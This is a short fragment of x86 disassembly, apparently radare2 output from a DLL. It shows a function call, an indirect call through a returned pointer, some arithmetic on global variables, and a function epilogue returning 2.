jne 0x10003b46
lea eax, [esp + 0x20]
mov ecx, dword [0x1001e8a8]
add ecx, 0xe50
mov dword [0x1001e8a8], ecx
mov ecx, dword [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.10002c1d
mov ecx, esp
lea edx, [esp + 0x20]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov ecx, dword [0x1001e8a8]
add ecx, 0xffffe586
mov dword [0x1001e8ac], ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov esp, ebp
pop ebp
ret